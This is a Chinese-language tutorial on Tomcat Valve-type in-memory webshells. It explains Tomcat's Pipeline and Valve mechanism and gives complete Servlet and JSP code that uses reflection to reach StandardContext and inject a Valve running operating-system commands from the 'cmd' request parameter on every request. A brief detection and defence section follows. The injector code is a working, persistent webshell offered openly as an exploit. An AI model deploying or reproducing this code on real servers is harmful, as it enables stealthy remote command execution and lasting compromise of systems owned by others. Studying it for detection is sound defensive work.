Tomcat Valve 型内存马流程理解与手写EXP
字数 1499 2025-08-12 11:34:31
Tomcat Valve 型内存马原理与实现
1. Valve 内存马概述
Valve 内存马与传统的 Listener、Filter、Servlet 内存马有显著区别。传统内存马位于 Web 请求处理流程中(Listener → Filter → Servlet),而 Valve 内存马则是基于 Tomcat 的管道机制(Pipeline)实现的。
2. Tomcat 管道机制基础
2.1 Pipeline 和 Valve 概念
- Pipeline(管道):Tomcat 中请求处理的管道结构
- Valve(阀门):管道中的处理单元,可以控制请求的处理流程
类比:请求是管道中流动的水,Valve 就是控制水流(请求处理)的阀门。
2.2 工作机制
- Tomcat 接收请求后,通过 Connector 解析
- 请求发送到 Container 处理
- 请求在 Engine、Host、Context、Wrapper 四类子容器中通过管道机制传递
2.3 关键特性
- 每个 Pipeline 有一个基础 Valve(basic),始终位于末端最后执行
- basic Valve 负责封装具体的请求处理和响应输出
- 可以通过
addValve()方法在 basic 前添加新 Valve - Valve 执行顺序与添加顺序一致
3. Valve 内存马实现原理
3.1 核心思路
- 获取 StandardContext
- 编写恶意 Valve 类
- 通过
StandardContext.getPipeline().addValve()添加恶意 Valve
3.2 实现步骤
-
获取 StandardContext:
- 通过反射从 Request 对象中获取
-
编写恶意 Valve:
- 继承
ValveBase类 - 重写
invoke()方法实现恶意功能
- 继承
-
添加 Valve:
- 通过 StandardContext 获取 Pipeline
- 使用
addValve()方法注入
4. 完整实现代码
4.1 Java Servlet 版本
public class ValveShell_Servlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
try {
// 获取内部 Request 对象
Field FieldReq = req.getClass().getDeclaredField("request");
FieldReq.setAccessible(true);
Request request = (Request) FieldReq.get(req);
// 获取 StandardContext
StandardContext standardContext = (StandardContext) request.getContext();
// 添加恶意 Valve
standardContext.getPipeline().addValve(new ValveBase() {
@Override
public void invoke(Request request, Response response)
throws IOException, ServletException {
// 恶意代码执行
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
});
resp.getWriter().write("inject success");
} catch (Exception e) {
e.printStackTrace();
}
}
}
4.2 JSP 版本
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.lang.reflect.Field" %>
<%
class EvilValve extends ValveBase {
@Override
public void invoke(Request request, Response response)
throws IOException, ServletException {
// 恶意代码执行
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
// 获取 Request 对象
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
// 获取 StandardContext
StandardContext standardContext = (StandardContext) req.getContext();
// 添加恶意 Valve
standardContext.getPipeline().addValve(new EvilValve());
out.println("inject success");
%>
5. 关键点说明
-
Valve 加载位置:
- 必须在 Servlet 中加载,因为 HTTP11Processor 处理 HTTP 请求时会经过 Pipeline
-
StandardContext 获取:
- 通过反射从 Request 对象中获取
- 需要先获取 Tomcat 内部的 Request 对象(非 HttpServletRequest)
-
恶意 Valve 实现:
- 必须继承
ValveBase类 - 必须重写
invoke()方法 - 可以在
invoke()中实现任意恶意功能
- 必须继承
-
内存马持久性:
- 添加的 Valve 会一直存在于内存中
- 每次请求都会执行恶意 Valve
6. 防御建议
-
检测措施:
- 监控 StandardPipeline 中的 Valve 列表
- 检查是否有未知或恶意的 Valve 实现
-
防护措施:
- 限制对 StandardContext 的访问
- 使用安全管理器限制反射操作
- 定期检查 Tomcat 内存中的组件
-
应急响应:
- 发现异常 Valve 后立即清除
- 重启 Tomcat 服务彻底清除内存马
7. 总结
Valve 内存马利用了 Tomcat 的管道机制,通过向 Pipeline 中添加恶意 Valve 实现持久化驻留。相比传统内存马,它具有更强的隐蔽性,且不依赖于特定的 URL 路径。理解 Valve 内存马的关键在于掌握 Tomcat 的管道机制和 Valve 的工作原理。